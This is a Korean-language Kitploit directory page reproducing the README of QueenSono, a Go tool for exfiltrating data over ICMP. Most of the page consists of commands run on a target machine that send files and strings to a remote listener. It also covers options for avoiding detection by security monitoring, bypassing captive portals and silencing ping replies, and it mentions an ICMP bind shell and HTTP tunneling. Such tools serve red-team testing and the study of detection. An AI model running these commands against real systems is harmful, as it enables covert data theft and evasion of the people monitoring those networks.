Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
QueenSono — ICMP 프로토콜을 이용한 데이터 유출을 위한 Golang 바이너리 (+ ICMP bindshell, http over ICMP tunneling, ...) | Kitploit
도구/GitHubGitHub/ariary/queensono
Data ExfiltrationNetwork SecurityPenetration TestingCommand and ControlRed Teaming
GitHubariary/queensono

QueenSono

ICMP 프로토콜을 이용한 데이터 유출을 위한 Golang 바이너리 (+ ICMP bindshell, http over ICMP tunneling, ...)

저장소 보기
168273개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

QueenSono ICMP 데이터 유출



ICMP 프로토콜(IPv4 및 IPv6)을 사용한 데이터 유출을 위한 Golang 패키지입니다.

QueenSono 도구는 ICMP 프로토콜이 모니터링되지 않는다는 사실에만 의존합니다. 이는 매우 일반적입니다. 또한 기본적인 ICMP 검사(예: 빈도 및 콘텐츠 길이 감시)가 있는 시스템 내에서 사용하거나, 캡티브 포털(많은 공공 Wi-Fi, 예: 공항 Wi-Fi,에서 사용자가 Wi-Fi 연결 후 인증을 위해 사용)의 인증 단계를 우회하는 데 사용할 수도 있습니다. 대상 머신에 반드시 Python이 설치되어 있지 않을 수 있다는 점을 고려하여 PyExfil(및 기타 도구)를 모방하려고 시도합니다(따라서 바이너리를 제공하는 것이 유용할 수 있음).

설치 · 사용법 · 참고 · 기능 요청 · 🎁

설치

curl 사용

릴리스에서

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

go 사용

go install을 통해

$GOPATH가 $PATH에 있는지 확인하세요

qssender 설치

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #바이너리 이름 변경

qsreceiver 설치

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #바이너리 이름 변경

소스에서 바이너리 설치

저장소를 클론하고 로컬 종속성을 다운로드하세요:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

ICMP 패킷 송신기 qssender를 빌드하려면:

root@kitploit:~
 build.queensono-sender

ICMP 패킷 수신기 qsreceiver를 빌드하려면:

root@kitploit:~
 build.queensono-receiver

사용법

qssender는 리스너에게 ICMP 패킷을 보내는 바이너리이므로, 대상 머신에 전송해야 하는 바이너리입니다.

qsreceiver는 로컬 머신(또는 ICMP 패킷을 수신할 수 있는 모든 곳)의 리스너입니다.

바이너리의 모든 명령어와 플래그는 --help를 사용하여 확인할 수 있습니다.

예시 1: "ACK"와 함께 보내기 🔙

이 예시에서는 큰 파일을 보내고, 패킷 수신을 확인하기 위해 에코 응답을 기다리는 방법을 보여줍니다(ACK).

demo

로컬 머신에서:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
설명
  • -l 0.0.0.0 모든 인터페이스에서 ICMP 패킷 수신
  • -f received_bible.txt 수신된 데이터를 파일에 저장
  • -p 수신된 데이터의 진행률 표시줄 표시
  • 대상 머신에서:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #예시용 큰 파일 다운로드
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    설명
  • send file 파일 전송 (bible.txt가 해당 파일)
  • -d 2 2초마다 패킷 전송
  • -l 0.0.0.0 에코 응답 수신 주소
  • -r 10.0.0.92 qsreceiver가 수신 중인 원격 머신 주소
  • -s 50000 각 패킷에 보낼 데이터 크기
  • 예시 2: "ACK" 없이 보내기 🙈

    이 예시에서는 에코 응답을 기다리지 않고 메시지를 보내는 방법을 보여줍니다(대상 방화벽이 들어오는 ICMP 패킷을 필터링하는 경우 유용할 수 있음)

    demo

    로컬 머신에서:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    설명
  • receive truncated 1 모든 패킷을 수신하지 못해도 무기한 대기하지 않음 (1은 qssender에 사용된 지연)

  • 은밀성을 위해 커널이 ICMP 핑에 응답하지 못하도록 방지할 수 있습니다.
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    대상 머신에서:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    설명
  • -N 응답 없음 옵션 (에코 응답 대기 안 함)
  • 예시 3: 암호화된 데이터 보내기 🔒

    이 예시에서는 암호화된 메시지를 보내는 방법을 보여줍니다. 명령줄이 감시될 수 있으므로 비대칭 암호화를 사용합니다(키가 유출되어도 문제가 되지 않음)

    demo

    로컬 머신에서:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <출력 공개 키>
    
    설명
  • --encrypt 암호화 교환 사용. 공개/개인 키를 생성합니다. 공개 키는 qssender가 데이터를 암호화하는 데 사용되며, 개인 키는 receiver로 복호화하는 데 사용됩니다.
  • 대상 머신에서:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<qsreceiver 출력의 공개 키>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    설명
  • --key 데이터 암호화 키 제공. qsreceiver 명령에서 제공된 키를 사용하세요.
  • 암호화에 대해

    RSA 암호화를 사용하여 교환되는 데이터의 기밀성을 유지합니다. 이는 예를 들어 SoC(보안 운영 센터)가 기본 분석으로 교환되는 데이터를 보지 못하도록 하거나 단순히 프라이버시를 위해 유용할 수 있습니다.

    그러나 비용이 따릅니다. 비대칭 암호화를 선택한 이유는 암호화 키가 명령줄에 입력되므로 쉽게 얻을 수 있기 때문입니다. 따라서 공개 키로 데이터를 암호화합니다. 이렇게 하면 누군가 암호화 키를 획득해도 메시지를 복호화할 수 없습니다. 그러나 공개 키는 개인 키보다 크기가 작기 때문에 더 작은 메시지를 암호화합니다. 또한 계산 비용이 많이 듭니다.

    또 다른 점은, 데이터 크기/핑 요청을 제한하고자 하기 때문에(탐지, 버그 등을 피하기 위해), 필요한 경우에만 암호화를 사용하세요. 출력 메시지 크기는 항상 모듈러스(Modulus) 크기와 같아야 하기(그래야 할 것이기) 때문입니다. 모듈러스는 키의 일부이며 크기가 큽니다.

    개선 사항

    현재 전체 메시지가 암호화된 후 청크로 나뉘어 전송됩니다. 반대편에서는 모든 패킷(청크)을 기다린 후 메시지를 재구성하고 복호화합니다. 그러나 이는 모든 청크를 수신한 경우에만 작동합니다. 그렇지 않으면 복호화가 실패합니다.

    => 각 청크를 -s 매개변수에 따라 개별적으로 암호화할 수 있습니다. 이렇게 하면 각 청크를 분리하여 복호화할 수 있습니다.

    예시 4: 에코 응답을 통한 데이터 수신 ↩️

    이 예시에서는 로컬 머신이 ICMP 에코 응답을 통해 데이터를 대상으로 다시 보내는 방법을 보여줍니다. 대상에서 나가는 ICMP가 필터링되지만 대상이 에코 응답을 수신할 수 있는 경우 유용합니다.

    로컬 머신에서:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    설명
  • reply-send qssender의 트리거를 기다린 후 ICMP 에코 응답으로 데이터 다시 전송
  • -l 0.0.0.0 트리거 패킷 수신을 위해 모든 인터페이스 수신
  • -d 1 각 응답 패킷 사이의 지연 1초
  • 대상 머신에서:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    설명
  • receive qsreceiver에 트리거를 보내고 들어오는 에코 응답에서 데이터 수집
  • -l 0.0.0.0 들어오는 에코 응답 수신 주소
  • -r 10.0.0.92 qsreceiver reply-send가 대기 중인 로컬 머신 주소
  • IPv6 지원

    QueenSono은 ICMPv6를 투명하게 지원합니다. IPv6 주소를 전달하면 프로토콜이 자동으로 감지됩니다. 추가 플래그가 필요하지 않습니다.

    로컬 머신에서:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    대상 머신에서:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    설명
  • -l :: 모든 IPv6 인터페이스 수신
  • -r fe80::1 원격 머신의 IPv6 주소 — 자동으로 ICMPv6 트리거
  • 모든 모드(ACK와 함께 보내기, ACK 없이 보내기, 암호화, 에코 응답)는 IPv6에서 동일하게 작동합니다.

    보너스

    QueenSono으로 재미있는 작업을 보려면 hack 섹션을 참조하세요:

    • ICMP를 사용한 바인드 셸
    • ICMP 터널링을 통한 HTTP

    참고 사항

    • Linux에서만 작동합니다(golang net icmp 패키지 사용으로 인해)
    • cap_net_raw 기능이 필요합니다
    • IPv4(ICMP) 및 IPv6(ICMPv6)를 모두 지원합니다. 주소에서 자동 감지됩니다.
    • 두 대의 다른 머신에서 ICMP 패킷을 보내고 에코 응답을 기다리는 경우, 원격에서 접근 가능한 IP를 수신 주소로 사용해야 합니다(localhost 또는 이와 동등한 주소를 사용하지 마십시오).
    도구 다운로드